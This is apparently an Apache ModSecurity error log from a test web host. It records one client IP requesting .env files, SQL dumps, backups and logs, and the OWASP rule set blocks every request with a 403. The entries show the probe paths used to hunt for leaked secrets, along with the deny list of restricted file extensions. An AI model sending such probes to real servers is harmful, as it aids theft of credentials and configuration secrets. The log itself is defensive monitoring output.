[Sun Jun 29 20:20:34.807786 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aGGD8nN4YZunzJSJCzJ6uAAAAAY&quot;]
[Sun Jun 29 20:20:34.808027 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aGGD8nN4YZunzJSJCzJ6uAAAAAY&quot;]
[Sun Jun 29 20:20:34.808230 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aGGD8nN4YZunzJSJCzJ6uAAAAAY&quot;]
[Sun Jun 29 20:20:39.528065 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/db.sql&quot;] [unique_id &quot;aGGD93N4YZunzJSJCzJ6ugAAAAY&quot;]
[Sun Jun 29 20:20:39.528532 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/db.sql&quot;] [unique_id &quot;aGGD93N4YZunzJSJCzJ6ugAAAAY&quot;]
[Sun Jun 29 20:20:39.528796 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/db.sql&quot;] [unique_id &quot;aGGD93N4YZunzJSJCzJ6ugAAAAY&quot;]
[Sun Jun 29 20:20:39.612649 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /development/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aGGD93N4YZunzJSJCzJ6vgAAAAY&quot;]
[Sun Jun 29 20:20:39.612886 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aGGD93N4YZunzJSJCzJ6vgAAAAY&quot;]
[Sun Jun 29 20:20:39.613063 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aGGD93N4YZunzJSJCzJ6vgAAAAY&quot;]
[Sun Jun 29 20:20:39.795911 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aGGD93N4YZunzJSJCzJ6wQAAAAY&quot;]
[Sun Jun 29 20:20:39.796159 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aGGD93N4YZunzJSJCzJ6wQAAAAY&quot;]
[Sun Jun 29 20:20:39.796358 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aGGD93N4YZunzJSJCzJ6wQAAAAY&quot;]
[Sun Jun 29 20:20:44.671949 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aGGD_HN4YZunzJSJCzJ6wgAAAAY&quot;]
[Sun Jun 29 20:20:44.672216 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aGGD_HN4YZunzJSJCzJ6wgAAAAY&quot;]
[Sun Jun 29 20:20:44.673186 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aGGD_HN4YZunzJSJCzJ6wgAAAAY&quot;]
[Sun Jun 29 20:20:44.693262 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.bak&quot;] [unique_id &quot;aGGD_HN4YZunzJSJCzJ6wwAAAAY&quot;]
[Sun Jun 29 20:20:44.693625 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.bak&quot;] [unique_id &quot;aGGD_HN4YZunzJSJCzJ6wwAAAAY&quot;]
[Sun Jun 29 20:20:44.693805 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.bak&quot;] [unique_id &quot;aGGD_HN4YZunzJSJCzJ6wwAAAAY&quot;]
[Sun Jun 29 20:20:44.713901 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aGGD_HN4YZunzJSJCzJ6xAAAAAY&quot;]
[Sun Jun 29 20:20:44.714238 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aGGD_HN4YZunzJSJCzJ6xAAAAAY&quot;]
[Sun Jun 29 20:20:44.714485 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aGGD_HN4YZunzJSJCzJ6xAAAAAY&quot;]
[Sun Jun 29 20:20:59.245320 2025] [:error] [pid 2967921] [client 185.177.72.107:42154] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aGGECw5w_kdDrMZHVfsRPgAAAAM&quot;]
[Sun Jun 29 20:20:59.245687 2025] [:error] [pid 2967921] [client 185.177.72.107:42154] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aGGECw5w_kdDrMZHVfsRPgAAAAM&quot;]
[Sun Jun 29 20:20:59.245868 2025] [:error] [pid 2967921] [client 185.177.72.107:42154] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aGGECw5w_kdDrMZHVfsRPgAAAAM&quot;]
[Sun Jun 29 20:20:59.678532 2025] [:error] [pid 2967921] [client 185.177.72.107:42154] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aGGECw5w_kdDrMZHVfsRQQAAAAM&quot;]
[Sun Jun 29 20:20:59.678767 2025] [:error] [pid 2967921] [client 185.177.72.107:42154] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aGGECw5w_kdDrMZHVfsRQQAAAAM&quot;]
[Sun Jun 29 20:20:59.678956 2025] [:error] [pid 2967921] [client 185.177.72.107:42154] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aGGECw5w_kdDrMZHVfsRQQAAAAM&quot;]
[Sun Jun 29 20:20:59.842218 2025] [:error] [pid 2967921] [client 185.177.72.107:42154] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aGGECw5w_kdDrMZHVfsRQgAAAAM&quot;]
[Sun Jun 29 20:20:59.842673 2025] [:error] [pid 2967921] [client 185.177.72.107:42154] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aGGECw5w_kdDrMZHVfsRQgAAAAM&quot;]
[Sun Jun 29 20:20:59.842876 2025] [:error] [pid 2967921] [client 185.177.72.107:42154] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aGGECw5w_kdDrMZHVfsRQgAAAAM&quot;]
